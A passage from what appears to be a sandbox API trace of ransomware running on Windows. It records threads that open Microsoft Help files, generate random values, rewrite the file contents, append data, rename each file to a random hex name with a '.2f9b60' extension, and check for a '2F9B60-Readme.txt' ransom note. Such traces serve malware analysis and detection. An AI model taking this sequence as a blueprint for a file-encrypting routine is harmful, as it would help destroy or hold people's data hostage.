(HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1fe0 [0087.008] wcscpy (in: _Dest=0x1b7c1fe0, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.008] wcscat (in: _Dest=0x1b7c1fe0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.008] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1fe0) returned 1 [0087.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2050) returned 1 Thread: id = 212 os_tid = 0xc80 [0087.023] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn")) returned 0x2022 [0087.023] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.023] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0087.024] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x1fccf8c0 | out: lpFileSize=0x1fccf8c0*=314) returned 1 [0087.024] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x136, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.024] ReadFile (in: hFile=0x96c, lpBuffer=0x1fccf840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fccf888, lpOverlapped=0x0 | out: lpBuffer=0x1fccf840*, lpNumberOfBytesRead=0x1fccf888*=0x4, lpOverlapped=0x0) returned 1 [0087.025] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0087.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0087.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b200 [0087.025] NtQuerySystemTime (in: CurrentTime=0x1fccf780 | out: CurrentTime=0x1fccf780*=132462176929054000) returned 0x0 [0087.025] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x5c2484ce [0087.025] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x67646b91 [0087.025] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x19f9dd22 [0087.025] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x75ee7851 [0087.025] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x47537d9f [0087.025] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x1d05c88c [0087.025] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x75724964 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x292af9af [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x130f4f6f [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x5729ece2 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x75c7a79e [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x10b0291e [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x3638e063 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0xb703243 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x68be009c [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x79ffa0e4 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x581e1719 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x57ae8177 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x4fad5114 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x39122f29 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x37f63697 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x494de5f2 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x1ed40720 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x35c8d547 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x2ce1e242 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x731c4a28 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x59bd4fdb [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x5538b8aa [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x60925b5a [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x4cfacb5c [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0xbf0bc83 [0087.026] RtlRandomEx (in: Seed=0x1fccf770 | out: Seed=0x1fccf770) returned 0x1399160b [0087.033] ReadFile (in: hFile=0x96c, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x13a, lpNumberOfBytesRead=0x1fccf770, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x1fccf770*=0x13a, lpOverlapped=0x0) returned 1 [0087.033] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.033] WriteFile (in: hFile=0x96c, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x1fccf774, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x1fccf774*=0x13a, lpOverlapped=0x0) returned 1 [0087.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0087.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b200 [0087.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b200) returned 1 [0087.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0087.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9eeb0 [0087.040] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.040] WriteFile (in: hFile=0x96c, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x1fccf890, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x1fccf890*=0x116, lpOverlapped=0x0) returned 1 [0087.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97210 [0087.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0087.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0087.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0087.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82b290 [0087.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b260 [0087.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0087.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b230) returned 1 [0087.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0087.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1b858730 [0087.042] sprintf (in: _Dest=0x1b858730, _Format="%c%c" | out: _Dest="51") returned 2 [0087.042] sprintf (in: _Dest=0x1b858732, _Format="%c%c" | out: _Dest="a8") returned 2 [0087.042] sprintf (in: _Dest=0x1b858734, _Format="%c%c" | out: _Dest="19") returned 2 [0087.042] sprintf (in: _Dest=0x1b858736, _Format="%c%c" | out: _Dest="fd") returned 2 [0087.042] sprintf (in: _Dest=0x1b858738, _Format="%c%c" | out: _Dest="e4") returned 2 [0087.042] sprintf (in: _Dest=0x1b85873a, _Format="%c%c" | out: _Dest="62") returned 2 [0087.042] sprintf (in: _Dest=0x1b85873c, _Format="%c%c" | out: _Dest="bc") returned 2 [0087.042] sprintf (in: _Dest=0x1b85873e, _Format="%c%c" | out: _Dest="01") returned 2 [0087.042] sprintf (in: _Dest=0x1b858740, _Format="%c%c" | out: _Dest="fb") returned 2 [0087.042] sprintf (in: _Dest=0x1b858742, _Format="%c%c" | out: _Dest="ae") returned 2 [0087.042] sprintf (in: _Dest=0x1b858744, _Format="%c%c" | out: _Dest="c4") returned 2 [0087.042] sprintf (in: _Dest=0x1b858746, _Format="%c%c" | out: _Dest="3f") returned 2 [0087.042] sprintf (in: _Dest=0x1b858748, _Format="%c%c" | out: _Dest="87") returned 2 [0087.042] sprintf (in: _Dest=0x1b85874a, _Format="%c%c" | out: _Dest="1b") returned 2 [0087.042] sprintf (in: _Dest=0x1b85874c, _Format="%c%c" | out: _Dest="65") returned 2 [0087.042] sprintf (in: _Dest=0x1b85874e, _Format="%c%c" | out: _Dest="22") returned 2 [0087.042] sprintf (in: _Dest=0x1b858750, _Format="%c%c" | out: _Dest="74") returned 2 [0087.042] sprintf (in: _Dest=0x1b858752, _Format="%c%c" | out: _Dest="d8") returned 2 [0087.042] sprintf (in: _Dest=0x1b858754, _Format="%c%c" | out: _Dest="07") returned 2 [0087.042] sprintf (in: _Dest=0x1b858756, _Format="%c%c" | out: _Dest="9e") returned 2 [0087.042] sprintf (in: _Dest=0x1b858758, _Format="%c%c" | out: _Dest="ea") returned 2 [0087.042] sprintf (in: _Dest=0x1b85875a, _Format="%c%c" | out: _Dest="b8") returned 2 [0087.042] sprintf (in: _Dest=0x1b85875c, _Format="%c%c" | out: _Dest="89") returned 2 [0087.042] sprintf (in: _Dest=0x1b85875e, _Format="%c%c" | out: _Dest="ef") returned 2 [0087.042] sprintf (in: _Dest=0x1b858760, _Format="%c%c" | out: _Dest="40") returned 2 [0087.042] sprintf (in: _Dest=0x1b858762, _Format="%c%c" | out: _Dest="6d") returned 2 [0087.042] sprintf (in: _Dest=0x1b858764, _Format="%c%c" | out: _Dest="14") returned 2 [0087.043] sprintf (in: _Dest=0x1b858766, _Format="%c%c" | out: _Dest="ad") returned 2 [0087.043] sprintf (in: _Dest=0x1b858768, _Format="%c%c" | out: _Dest="0d") returned 2 [0087.043] sprintf (in: _Dest=0x1b85876a, _Format="%c%c" | out: _Dest="01") returned 2 [0087.043] sprintf (in: _Dest=0x1b85876c, _Format="%c%c" | out: _Dest="3c") returned 2 [0087.043] sprintf (in: _Dest=0x1b85876e, _Format="%c%c" | out: _Dest="be") returned 2 [0087.043] sprintf (in: _Dest=0x1b858770, _Format="%c%c" | out: _Dest="05") returned 2 [0087.043] sprintf (in: _Dest=0x1b858772, _Format="%c%c" | out: _Dest="3f") returned 2 [0087.043] sprintf (in: _Dest=0x1b858774, _Format="%c%c" | out: _Dest="fc") returned 2 [0087.043] sprintf (in: _Dest=0x1b858776, _Format="%c%c" | out: _Dest="4e") returned 2 [0087.043] RtlInitAnsiString (in: DestinationString=0x1fccf908, SourceString="51a819fde462bc01fbaec43f871b652274d8079eeab889ef406d14ad0d013cbe053ffc4e" | out: DestinationString="51a819fde462bc01fbaec43f871b652274d8079eeab889ef406d14ad0d013cbe053ffc4e") [0087.043] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fccf8d8, SourceString="51a819fde462bc01fbaec43f871b652274d8079eeab889ef406d14ad0d013cbe053ffc4e", AllocateDestinationString=1 | out: DestinationString="51a819fde462bc01fbaec43f871b652274d8079eeab889ef406d14ad0d013cbe053ffc4e") returned 0x0 [0087.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad840 [0087.043] wcscat (in: _Dest=0x1b79ddf0, _Source="51a819fde462bc01fb" | out: _Dest="C:\\ProgramData\\Microsoft Help\\51a819fde462bc01fb") returned="C:\\ProgramData\\Microsoft Help\\51a819fde462bc01fb" [0087.043] wcscat (in: _Dest=0x1b79ddf0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\51a819fde462bc01fb.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\51a819fde462bc01fb.2f9b60" [0087.043] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\51a819fde462bc01fb.2f9b60", NtPathName=0x1fccf8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\51a819fde462bc01fb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ad7a0 [0087.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0087.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.045] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x1fccf918, FileInformation=0x1fccf928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1fccf918, FileInformation=0x1fccf928) returned 0x0 [0087.045] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x1fccf918, FileInformation=0x1fccf928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0087.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0087.047] FlushFileBuffers (hFile=0x96c) returned 1 [0087.048] CloseHandle (hObject=0x96c) returned 1 [0087.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2050 [0087.048] wcscpy (in: _Dest=0x1b7c2050, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.048] wcscat (in: _Dest=0x1b7c2050, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.048] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2050) returned 1 [0087.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c20c0) returned 1 Thread: id = 213 os_tid = 0xc84 [0087.055] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn")) returned 0x2022 [0087.056] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.056] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0087.056] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x208efd20 | out: lpFileSize=0x208efd20*=338) returned 1 [0087.056] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x14e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.056] ReadFile (in: hFile=0x96c, lpBuffer=0x208efca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x208efce8, lpOverlapped=0x0 | out: lpBuffer=0x208efca0*, lpNumberOfBytesRead=0x208efce8*=0x4, lpOverlapped=0x0) returned 1 [0087.057] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0087.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0087.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0087.057] NtQuerySystemTime (in: CurrentTime=0x208efbe0 | out: CurrentTime=0x208efbe0*=132462176929366000) returned 0x0 [0087.057] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x79641348 [0087.057] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x5f5aadc6 [0087.057] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x65904c57 [0087.057] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x729fba86 [0087.057] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x35582c [0087.057] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x25f68ee0 [0087.057] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x6717300 [0087.057] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x6e86108e [0087.057] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x39fad30f [0087.057] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x45ab01ec [0087.057] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0xb1a80c3 [0087.057] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x462e068f [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x2912be8c [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x7b6a2a06 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x73a4df52 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x4bb84ea [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x32e5a4c7 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x1cae99e6 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x397c5a10 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x6aa49058 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x6dc0f987 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x40090815 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x353b8a01 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x214af286 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x2c199a96 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x5ed5aef5 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x656be1a0 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x60b5456c [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x96139f0 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x1ffc01d1 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x3b51d575 [0087.058] RtlRandomEx (in: Seed=0x208efbd0 | out: Seed=0x208efbd0) returned 0x10286231 [0087.064] ReadFile (in: hFile=0x96c, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x208efbd0, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x208efbd0*=0x152, lpOverlapped=0x0) returned 1 [0087.064] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.064] WriteFile (in: hFile=0x96c, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x208efbd4, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x208efbd4*=0x152, lpOverlapped=0x0) returned 1 [0087.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0087.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0087.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1d0) returned 1 [0087.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0087.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97210 [0087.067] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.067] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x208efcf0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x208efcf0*=0x11e, lpOverlapped=0x0) returned 1 [0087.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0087.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0087.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b200 [0087.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b200) returned 1 [0087.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9eeb0 [0087.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b200 [0087.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b260 [0087.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b260) returned 1 [0087.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0087.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0087.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1b7c20c0 [0087.069] sprintf (in: _Dest=0x1b7c20c0, _Format="%c%c" | out: _Dest="96") returned 2 [0087.069] sprintf (in: _Dest=0x1b7c20c2, _Format="%c%c" | out: _Dest="2d") returned 2 [0087.069] sprintf (in: _Dest=0x1b7c20c4, _Format="%c%c" | out: _Dest="fa") returned 2 [0087.069] sprintf (in: _Dest=0x1b7c20c6, _Format="%c%c" | out: _Dest="6f") returned 2 [0087.069] sprintf (in: _Dest=0x1b7c20c8, _Format="%c%c" | out: _Dest="d5") returned 2 [0087.069] sprintf (in: _Dest=0x1b7c20ca, _Format="%c%c" | out: _Dest="4c") returned 2 [0087.069] sprintf (in: _Dest=0x1b7c20cc, _Format="%c%c" | out: _Dest="d6") returned 2 [0087.069] sprintf (in: _Dest=0x1b7c20ce, _Format="%c%c" | out: _Dest="39") returned 2 [0087.069] sprintf (in: _Dest=0x1b7c20d0, _Format="%c%c" | out: _Dest="25") returned 2 [0087.069] sprintf (in: _Dest=0x1b7c20d2, _Format="%c%c" | out: _Dest="bf") returned 2 [0087.069] sprintf (in: _Dest=0x1b7c20d4, _Format="%c%c" | out: _Dest="2e") returned 2 [0087.069] sprintf (in: _Dest=0x1b7c20d6, _Format="%c%c" | out: _Dest="f5") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20d8, _Format="%c%c" | out: _Dest="f0") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20da, _Format="%c%c" | out: _Dest="63") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20dc, _Format="%c%c" | out: _Dest="f6") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20de, _Format="%c%c" | out: _Dest="39") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20e0, _Format="%c%c" | out: _Dest="c0") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20e2, _Format="%c%c" | out: _Dest="11") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20e4, _Format="%c%c" | out: _Dest="0c") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20e6, _Format="%c%c" | out: _Dest="5e") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20e8, _Format="%c%c" | out: _Dest="9b") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20ea, _Format="%c%c" | out: _Dest="fe") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20ec, _Format="%c%c" | out: _Dest="73") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20ee, _Format="%c%c" | out: _Dest="6f") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20f0, _Format="%c%c" | out: _Dest="5a") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20f2, _Format="%c%c" | out: _Dest="15") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20f4, _Format="%c%c" | out: _Dest="d5") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20f6, _Format="%c%c" | out: _Dest="94") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20f8, _Format="%c%c" | out: _Dest="68") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20fa, _Format="%c%c" | out: _Dest="19") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20fc, _Format="%c%c" | out: _Dest="c2") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c20fe, _Format="%c%c" | out: _Dest="f3") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c2100, _Format="%c%c" | out: _Dest="f5") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c2102, _Format="%c%c" | out: _Dest="aa") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c2104, _Format="%c%c" | out: _Dest="50") returned 2 